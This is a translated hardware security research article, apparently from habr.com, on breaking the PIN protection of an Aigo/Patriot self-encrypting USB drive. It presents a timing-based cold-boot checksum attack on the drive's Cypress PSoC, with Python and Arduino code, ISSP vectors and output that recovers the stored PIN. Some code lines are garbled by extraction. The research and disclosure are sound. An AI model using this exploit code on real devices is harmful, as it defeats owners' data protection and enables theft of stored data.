Esta es la segunda y última parte del artículo sobre la vulnerabilidad de las unidades de almacenamiento autoencriptadas externas. Recientemente, un colega me trajo un disco duro Patriot (Aigo) SK8671, y decidí hacerle un análisis inverso, y ahora comparto lo que descubrí. Antes de continuar, asegúrese de revisar artículo.

4. Comenzamos a extraer un volcado de la memoria flash interna PSoC
Así que, todo indica que (como establecimos en [la primera parte]()), el PIN se almacena en las profundidades de la memoria flash del PSoC. Por lo tanto, necesitamos leer esas profundidades. Las áreas de trabajo necesarias son:
- tomar el control de la "comunicación" con el microcontrolador;
- encontrar una forma de verificar si esta "comunicación" está protegida contra la lectura externa;
- encontrar un método para eludir la protección.
Existen dos lugares donde tiene sentido buscar el PIN válido:
- memoria flash interna;
- SRAM, donde el PIN puede almacenarse para compararlo con el PIN que introduce el usuario.
Adelantándome, mencionaré que logré extraer un volcado de la memoria flash interna del PSoC, eludiendo su sistema de protección, mediante un ataque de hardware de "traza con reinicio en frío" – después de invertir en las posibilidades no documentadas del protocolo ISSP. Esto me permitió extraer directamente un volcado del PIN activo.
$ .\/psoc.py
sincronizando: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9Código de programa final:
- ;
- .
5. Protocolo ISSP
5.1. ¿Qué es ISSP?
"Comunicación" con el microcontrolador puede significar diferentes cosas: desde "vendor to vendor" hasta la interacción usando protocolos de serie (por ejemplo, ICSP para el PIC de Microchip).
Para Cypress, existe un protocolo propietario llamado ISSP (in-system serial programming protocol; protocolo de programación serie en el sistema), que se describe parcialmente en . también proporciona cierta información. También existe un equivalente de código abierto llamado HSSP (lo utilizaremos un poco más tarde). ISSP funciona de la siguiente manera:
- reiniciar el PSoC;
- sacar el número mágico en el pin de datos seriales de este PSoC; para ingresar al modo de programación externa;
- enviar comandos que consisten en largas cadenas de bits, llamadas 'vectores'.
En la documentación de ISSP, estos vectores están definidos solo para un pequeño puñado de comandos:
- Initialize-1
- Initialize-2
- Initialize-3 (versiones de 3V y 5V)
- ID-SETUP
- READ-ID-WORD
- SET-BLOCK-NUM: 10011111010dddddddd111, donde dddddddd=número de bloque
- BULK ERASE
- PROGRAM-BLOCK
- VERIFY-SETUP
- READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, donde DDDDDDDD = dato de salida, aaaaaa = dirección (6 bits)
- WRITE-BYTE: 10010aaaaaadddddddd111, donde dddddddd = dato de entrada, aaaaaa = dirección (6 bits)
- SECURE
- CHECKSUM-SETUP
- READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, donde DDDDDDDDDDDDDDDD = dato de salida: suma de verificación del dispositivo
- ERASE BLOCK
Por ejemplo, el vector para Initialize-2:
1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111Todos los vectores tienen la misma longitud: 22 bits. En la documentación de HSSP hay información adicional sobre ISSP: 'Un vector de ISSP no es más que una secuencia de bits que representa un conjunto de instrucciones'.
5.2. Desmitificación de los vectores
Analicemos qué está sucediendo aquí. Inicialmente, supuse que estos vectores eran variantes en bruto de instrucciones M8C, sin embargo, al comprobar esta hipótesis, descubrí que los códigos de operación no coincidían.
Luego busqué el vector mencionado anteriormente y encontré un estudio donde el autor, aunque no entra en detalles, proporciona algunas pistas útiles: 'Cada instrucción comienza con tres bits que corresponden a una de las cuatro mnemónicas (leer de RAM, escribir en RAM, leer registro, escribir registro). Luego sigue una dirección de 8 bits, después 8 bits de datos (leídos o para escribir) y, finalmente, tres bits de parada'.
Después, pude obtener información muy útil del apartado 'Supervisory ROM (SROM)' . SROM es una ROM codificada rígidamente en el PSoC, que proporciona funciones de servicio (de manera similar a Syscall) – para el código del programa que se ejecuta en el espacio de usuario:
- 00h: SWBootReset
- 01h: ReadBlock
- 02h: WriteBlock
- 03h: EraseBlock
- 06h: TableRead
- 07h: CheckSum
- 08h: Calibrate0
- 09h: Calibrate1
Comparando los nombres de los vectores con las funciones SROM, podemos correlacionar las diversas operaciones soportadas por este protocolo con los parámetros SROM esperados. Esto nos permite decodificar los primeros tres bits de los vectores ISSP:
- 100 => "wrmem"
- 101 => "rdmem"
- 110 => "wrreg"
- 111 => "rdreg"
Sin embargo, un entendimiento completo de los procesos intracipales solo se puede obtener mediante la comunicación directa con el PSoC.
5.3. Comunicación con PSoC
Ya que Dirk Petrahutsky ya ha el código HSSP de Cypress a Arduino, utilicé un Arduino Uno para conectarme al conector ISSP del teclado.
Tenga en cuenta que durante mi investigación, modifiqué considerablemente el código de Dirk. Mi modificación se puede encontrar en GitHub: y el correspondiente script de Python para comunicarse con Arduino en mi repositorio .
Así que, utilizando Arduino, inicialmente utilicé solo los vectores "oficiales" para la comunicación. Intenté leer la ROM interna usando el comando VERIFY. Como era de esperar, no pude lograrlo. Probablemente debido a que los bits de protección contra lectura están activados dentro del chip flash.
Luego creé algunos de mis propios vectores simples para la lectura y escritura de memoria/ registros. Tenga en cuenta que podemos leer toda la SROM, ¡incluso a pesar de que el chip flash esté protegido!
5.4. Identificación de registros intracipales
Al observar los vectores "desensamblados", descubrí que el dispositivo utiliza registros no documentados (0xF8-0xFA) para indicar los códigos de operación M8C, que se ejecutan directamente, eludiendo la protección. Esto me permitió ejecutar diferentes códigos de operación como "ADD", "MOV A, X", "PUSH" o "JMP". Gracias a ellos (observando los efectos secundarios que tienen sobre los registros) pude determinar cuáles de los registros no documentados son, de hecho, registros normales (A, X, SP y PC).
En resumen, el código "desensamblado" generado por la herramienta HSSP_disas.rb se ve así (para mayor claridad, añadí comentarios):
--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00 # reinicio de banderas
[DE C0 1C] wrreg SP (f6), 0x00 # reinicio de SP
[9F 07 5C] wrmem KEY1, 0x3A # argumento obligatorio para SSC
[9F 20 7C] wrmem KEY2, 0x03 # similarmente
[DE A0 1C] wrreg PCh (f5), 0x00 # reinicio de PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03 # (LSB) ... hasta 3 ??
[9F 70 1C] wrmem POINTER, 0x80 # puntero RAM para datos de salida
[DF 26 1C] wrreg opc1 (f9), 0x30 # Opcode 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40 # Opcode 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01 # ID de BLOQUE para llamar a SSC
[DE 00 DC] wrreg A (f0), 0x06 # número "Syscall": TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00 # Opcode para SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12 # operación no documentada: ejecutar opcode externo
5.5. Bits de protección
En esta etapa, ya puedo comunicarme con PSoC, pero aún no tengo información confiable sobre los bits de protección de la memoria flash. Me sorprendió mucho el hecho de que Cypress no proporciona al usuario del dispositivo ninguna forma de verificar si la protección está activada. Profundicé en Google para entender finalmente que el código HSSP, proporcionado por Cypress, se actualizó después de que Dirk lanzara su modificación. ¡Y aquí está! Ha aparecido un nuevo vector:
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # argumentos desconocidos
[9F E0 1C] wrmem 0xFF, 0x00 # similarmente
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10 # syscall no documentado !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12Usando este vector (ver read_security_data en psoc.py), obtenemos todos los bits de protección en SRAM en 0x80, donde cada bloque protegido tiene dos bits.
El resultado es desalentador: todo está protegido en modo "desactivar lectura y escritura externa". Por lo tanto, no solo no podemos leer nada de la memoria flash, sino que tampoco podemos escribir (para, por ejemplo, insertar un volcado de ROM). Y la única forma de desactivar la protección es borrar completamente el chip. 🙁
6. Primer ataque (fallido): ROMX
Sin embargo, podemos intentar hacer el siguiente truco: dado que tenemos la capacidad de ejecutar opcódigo arbitrarios, ¿por qué no ejecutar ROMX, que se aplica para leer la memoria flash? Este enfoque tiene buenas posibilidades de éxito. Porque la función ReadBlock, que lee datos de SROM (usada por vectores), verifica si se está llamando desde ISSP. Sin embargo, el opcódigo ROMX, supuestamente, puede no tener tal verificación. Así que aquí está el código en Python (después de agregar algunas clases auxiliares al código de Arduino en C):
for i in range(0, 8192):
write_reg(0xF0, i>>8) # A = 0
write_reg(0xF3, i&0xFF) # X = 0
exec_opcodes("x28x30x40") # ROMX, HALT, NOP
byte = read_reg(0xF0) # ROMX lee ROM[A|X] en A
print "x" % ord(byte[0]) # imprimir byte ROMDesafortunadamente, este código no funciona. 🙁 Más bien, funciona, pero recibimos nuestros propios opcódigos (0x28 0x30 0x40) como salida. No creo que la funcionalidad correspondiente del dispositivo sea un elemento de protección contra lectura. Esto se parece más a un truco de ingeniería: al ejecutar opcódigos externos, el bus de ROM se redirige a un búfer temporal.
7. Segundo ataque: traza con reinicio en frío
Dado que el truco de ROMX no funcionó, comencé a considerar otra variación de este truco - descrita en la publicación .
7.1. Implementación
En la documentación de ISSP se presenta el siguiente vector para CHECKSUM-SETUP:
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12Aquí se realiza esencialmente la llamada a la función SROM 0x07, como se presenta en la documentación (cursiva mía):
Esta función verifica la suma de comprobación. Calcula una suma de comprobación de 16 bits para la cantidad de bloques especificada por el usuario, en un banco de flash, comenzando desde cero. El parámetro BLOCKID se utiliza para transmitir la cantidad de bloques que se utilizarán para calcular la suma de comprobación. El valor "1" calculará la suma de comprobación solo para el bloque cero; mientras que "0" hará que se calcule la suma de comprobación total de los 256 bloques del banco de flash. La suma de comprobación de 16 bits se devuelve a través de KEY1 y KEY2. En el parámetro KEY1 se fijan los 8 bits menos significativos del checksum, y en KEY2, los 8 bits más significativos. Para dispositivos con múltiples bancos de memoria flash, la función del checksum se llama por separado para cada uno. El número del banco con el que se trabajará se establece en el registro FLS_PR1 (configurando el bit correspondiente al banco flash objetivo).
Ten en cuenta que este es un checksum muy simple: los bytes se suman uno tras otro; no hay trucos retorcidos de CRC. Además, sabiendo que en el núcleo M8C el conjunto de registros es muy pequeño, supuse que al calcular el checksum, los valores intermedios se guardarían en las mismas variables que finalmente se utilizarían: KEY1 (0xF8) / KEY2 (0xF9).
Entonces, en teoría, mi ataque se ve así:
- Conectamos a través de ISSP.
- Iniciamos el cálculo del checksum utilizando el vector CHECKSUM-SETUP.
- Reiniciamos el procesador después de un tiempo T predeterminado.
- Leemos la RAM para obtener el checksum actual C.
- Repetimos los pasos 3 y 4, aumentando un poco T cada vez.
- Restauramos los datos de la memoria flash, sustrayendo el checksum anterior C del actual.
Sin embargo, hubo un problema: el vector Initialize-1, que debemos enviar después del reinicio, sobrescribe KEY1 y KEY2:
1100101000000000000000 # Magia que pone a PSoC en modo de programación
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # el checksum se sobrescribe aquí
[9F 20 7C] wrmem KEY2, 0x03 # y aquí
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09 # SROM-función 9
[DF 00 1C] wrreg opc0 (f8), 0x00 # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12Este código borra nuestro preciado checksum al llamar a Calibrate1 (SROM-función 9)… ¿Quizás podamos, simplemente enviando un número mágico (del inicio del código anterior), entrar en modo de programación y luego leer SRAM? Y sí, ¡eso funciona! El código de Arduino que implementa este ataque es bastante simple:
case Cmnd_STK_START_CSUM:
checksum_delay = ((uint32_t)getch())<<24;
checksum_delay |= ((uint32_t)getch())<<16;
checksum_delay |= ((uint32_t)getch())< 10000) {
ms_delay = checksum_delay/1000;
checksum_delay = checksum_delay00;
}
else {
ms_delay = 0;
}
send_checksum_v();
if(checksum_delay)
delayMicroseconds(checksum_delay);
delay(ms_delay);
start_pmode();- Leer checkum_delay.
- Iniciar el cálculo del checksum (send_checksum_v).
- Esperar un período de tiempo determinado; teniendo en cuenta las siguientes trampas:
- perdí una gran cantidad de tiempo hasta que descubrí que en realidad funciona correctamente solo con retrasos no superiores a 16383 µs;
- y luego perdí tanto tiempo más hasta que descubrí que delayMicroseconds, si se le pasa 0, funciona de manera completamente incorrecta.
- Reiniciar el PSoC en modo de programación (simplemente enviamos un número mágico, sin enviar vectores de inicialización).
El código final en Python:
for delay in range(0, 150000): # retraso en microsegundos
for i in range(0, 10): # número de lecturas para cada uno de los retrasos
try:
reset_psoc(quiet=True) # reinicio e ingreso en modo de programación
send_vectors() # envío de vectores de inicialización
ser.write("x85"+struct.pack(">I", delay)) # calcular la suma de verificación + reiniciarse después del retraso
res = ser.read(1) # leer arduino ACK
except Exception as e:
print e
ser.close()
os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # abrir puerto serie
continue
print "d X X X" % (delay, # leer bytes de RAM
read_regb(0xf1),
read_ramb(0xf8),
read_ramb(0xf9))En pocas palabras, lo que hace este código:
- Reinicia el PSoC (y le envía un número mágico).
- Envía vectores de inicialización completos.
- Invoca la función de Arduino Cmnd_STK_START_CSUM (0x85), donde se pasa como parámetro el retraso en microsegundos.
- Lee la suma de verificación (0xF8 y 0xF9) y el registro no documentado 0xF1.
Este código se ejecuta 10 veces en 1 microsegundo. 0xF1 está incluido aquí porque era el único registro que cambiaba al calcular la suma de verificación. Puede que sea alguna variable temporal usada por la unidad aritmético-lógica. Tenga en cuenta el horrible hackeo que utilizo para reiniciar Arduino usando picocom, cuando Arduino deja de mostrar signos de vida (no tengo idea de por qué).
7.2. Leyendo el resultado
El resultado de la ejecución del script de Python se ve así (simplificado para facilitar la lectura):
DELAY F1 F8 F9 # F1 – mencionado registro desconocido
# F8 byte inferior de la suma de verificación
# F9 byte superior de la suma de verificación
00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00 # la suma de verificación se reinicia a 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00 # 1er byte: 0x0080-0x0000 = 0x80
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00 # 2do byte: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01 # no tengo idea de lo que ocurre aquí
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00 # ¿De nuevo E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00 # Hmmmmmm
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01 # ¡Ah, ya entendí! Aquí se produce la transferencia al byte superior
00063 01 17 01
[...]
00075 CC 17 01 # Así que, 0x117-0xE7: 0x30Sin embargo, tenemos un problema: dado que estamos trabajando con la suma de verificación real, el byte nulo no cambia el valor leído. Sin embargo, como todo el procedimiento de cálculo (8192 bytes) toma 0,1478 segundos (con pequeñas variaciones en cada ejecución), que corresponde a aproximadamente 18,04 μs por byte, podemos utilizar este tiempo para verificar el valor de la suma de verificación en momentos apropiados. Para las primeras ejecuciones, todo se lee bastante fácilmente, ya que la duración de la ejecución del procedimiento de cálculo es prácticamente siempre la misma. Sin embargo, el final de este volcado es menos preciso, porque las "pequeñas desviaciones de tiempo" en cada ejecución se acumulan y se vuelven significativas:
134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DDSon 10 volcados para cada retraso de microsegundos. El tiempo total de operación para capturar el volcado de todos los 8192 bytes de la memoria flash es de aproximadamente 48 horas.
7.3. Reconstrucción del binario de la memoria flash
Aún no he terminado de escribir el código que reconstruye completamente el código del software de la memoria flash, teniendo en cuenta todas las desviaciones de tiempo. Sin embargo, ya he recuperado el inicio de este código. Para asegurarme de que lo hice correctamente, lo desensamblé usando m8cdis:
0000: 80 67 jmp 0068h ; Vector de reinicio
[...]
0068: 71 10 or F,010h
006a: 62 e3 87 mov reg[VLT_CR],087h
006d: 70 ef and F,0efh
006f: 41 fe fb and reg[CPU_SCR1],0fbh
0072: 50 80 mov A,080h
0074: 4e swap A,SP
0075: 55 fa 01 mov [0fah],001h
0078: 4f mov X,SP
0079: 5b mov A,X
007a: 01 03 add A,003h
007c: 53 f9 mov [0f9h],A
007e: 55 f8 3a mov [0f8h],03ah
0081: 50 06 mov A,006h
0083: 00 ssc
[...]
0122: 18 pop A
0123: 71 10 or F,010h
0125: 43 e3 10 or reg[VLT_CR],010h
0128: 70 00 and F,000h ; Modo de paginación cambiado de 3 a 0
012a: ef 62 jacc 008dh
012c: e0 00 jacc 012dh
012e: 71 10 or F,010h
0130: 62 e0 02 mov reg[OSC_CR0],002h
0133: 70 ef and F,0efh
0135: 62 e2 00 mov reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff jmp 013bh
013d: 50 08 mov A,008h
013f: 7f ret¡Se ve bastante plausible!
7.4. Encontramos la dirección de almacenamiento del PIN
Ahora que podemos leer la suma de verificación en los momentos que necesitamos, podemos verificar fácilmente cómo y dónde cambia cuando:
- introducimos un PIN incorrecto;
- cambiamos el PIN.
Al principio, para encontrar la dirección aproximada de almacenamiento, tomé un volcado de la suma de verificación con un intervalo de 10 ms, después de reiniciar. Luego introduje un PIN incorrecto y hice lo mismo.
El resultado no fue muy agradable, ya que hubo muchos cambios. Pero al final logré establecer que la suma de verificación cambió en algún lugar entre 120000 µs y 140000 µs de retraso. Pero el 'PIN' que encontré allí era absolutamente incorrecto, debido al artefacto del procedimiento delayMicroseconds, que hace cosas extrañas cuando se le pasa 0.
Luego, después de casi 3 horas, recordé que la llamada al sistema CheckSum de SROM recibe como entrada un argumento que especifica el número de bloques para la suma de verificación. Por lo tanto, podemos localizar sin esfuerzo la dirección de almacenamiento del PIN y el contador de 'intentos incorrectos', con una precisión de bloque de 64 bytes.
Mis ejecuciones iniciales dieron el siguiente resultado:

Luego cambié el PIN de '123456' a '1234567' y obtuve:

Por lo tanto, el PIN y el contador de intentos incorrectos parecen almacenarse en el bloque número 126.
7.5. Tomamos un volcado del bloque número 126
El bloque número 126 debería estar ubicado en algún lugar alrededor de 125x64x18 = 144000 µs, desde el inicio del cálculo de la suma de verificación, en mi volcado completo, y parece bastante plausible. Luego, después de filtrar manualmente numerosos vuelcos incorrectos (debido a la acumulación de 'pequeñas desviaciones de tiempo'), finalmente obtuve estos bytes (con un retraso de 145527 µs):

Es obvio que el pin se almacena en texto plano. Estos valores no están en códigos ASCII, pero resultó que reflejan lecturas de un teclado capacitivo.
Finalmente, he realizado algunas pruebas más para determinar dónde se almacena el contador de intentos fallidos. Aquí está el resultado:

0xFF significa '15 intentos', y disminuye con cada intento fallido.
7.6. Recuperación del pin
Aquí está mi feo código que recopila todo lo dicho anteriormente:
def dump_pin():
pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
last_csum = 0
pin_bytes = []
for delay in range(145495, 145719, 16):
csum = csum_at(delay, 1)
byte = (csum-last_csum)&0xFF
print "d x (x) => x" % (delay, csum, last_csum, byte)
pin_bytes.append(byte)
last_csum = csum
print "PIN: ",
for i in range(0, len(pin_bytes)):
if pin_bytes[i] in pin_map:
print pin_map[pin_bytes[i]],
printAquí está el resultado de su ejecución:
$ .\/psoc.py
syncing: KO OK
Restableciendo PSoC: KO Restableciendo PSoC: KO Restableciendo PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9¡Hurra! ¡Funciona!
Tenga en cuenta que los valores de retardo que utilicé probablemente sean específicos de un PSoC en particular, el que utilicé.
8. ¿Qué sigue?
Así que hagamos un resumen del lado del PSoC en el contexto de nuestro dispositivo Aigo:
- podemos leer la SRAM, incluso si está protegida contra la lectura;
- podemos eludir la protección de lectura mediante un ataque de 'trazado de reinicio en frío' y lectura directa del pin.
Sin embargo, nuestro ataque tiene algunas deficiencias debido a problemas de sincronización. Podría mejorarse de la siguiente manera:
- escribir una utilidad para decodificar correctamente los datos de salida obtenidos a través del ataque de 'trazado de reinicio en frío';
- utilizar un complemento FPGA para crear retardos temporales más precisos (o utilizar temporizadores de hardware de Arduino);
- intentar otro ataque: introducir un código PIN intencionadamente incorrecto, reiniciar y volcar la RAM, esperando que el código PIN correcto se haya almacenado en la RAM para su comparación. Sin embargo, hacer esto en Arduino no es tan fácil, ya que el nivel de señal de Arduino es de 5 voltios, mientras que la placa que estamos investigando funciona con señales de 3,3 voltios.
Una cosa interesante que se podría intentar es jugar con el nivel de tensión para eludir la protección contra lectura. Si este enfoque funcionara, podríamos obtener datos absolutamente precisos del flash, en lugar de depender de la lectura de una suma de verificación con retrasos temporales imprecisos.
Dado que el SROM probablemente lee los bits de protección a través de la llamada del sistema ReadBlock, podríamos hacer lo mismo que en el blog de Dmitry Nedospasov: la nueva implementación del ataque de Chris Gerlinski, anunciada en la conferencia .
Otra cosa divertida que se podría hacer es lijar el encapsulado del chip: para obtener un volcado de SRAM, identificar llamadas al sistema no documentadas y vulnerabilidades.
9. Conclusión
Por lo tanto, la protección de este dispositivo deja mucho que desear, porque utiliza un microcontrolador común (no 'endurecido') para almacenar el código PIN... Además, todavía no he revisado (hasta ahora) cómo está la situación con el cifrado de datos en este dispositivo.
¿Qué se puede recomendar para Aigo? Tras analizar un par de modelos de discos duros encriptados, en 2015 realizé en SyScan, donde examiné los problemas de seguridad de varios discos duros externos y di recomendaciones sobre cómo podrían mejorarse. 🙂
Pasé dos fines de semana y varias tardes en esta investigación. En total, alrededor de 40 horas. Contando desde el principio (cuando abrí el disco) hasta el final (volcado del código PIN). Este tiempo incluye también el tiempo que dediqué a escribir este artículo. Ha sido un viaje muy fascinante.
Fuente: habr.com
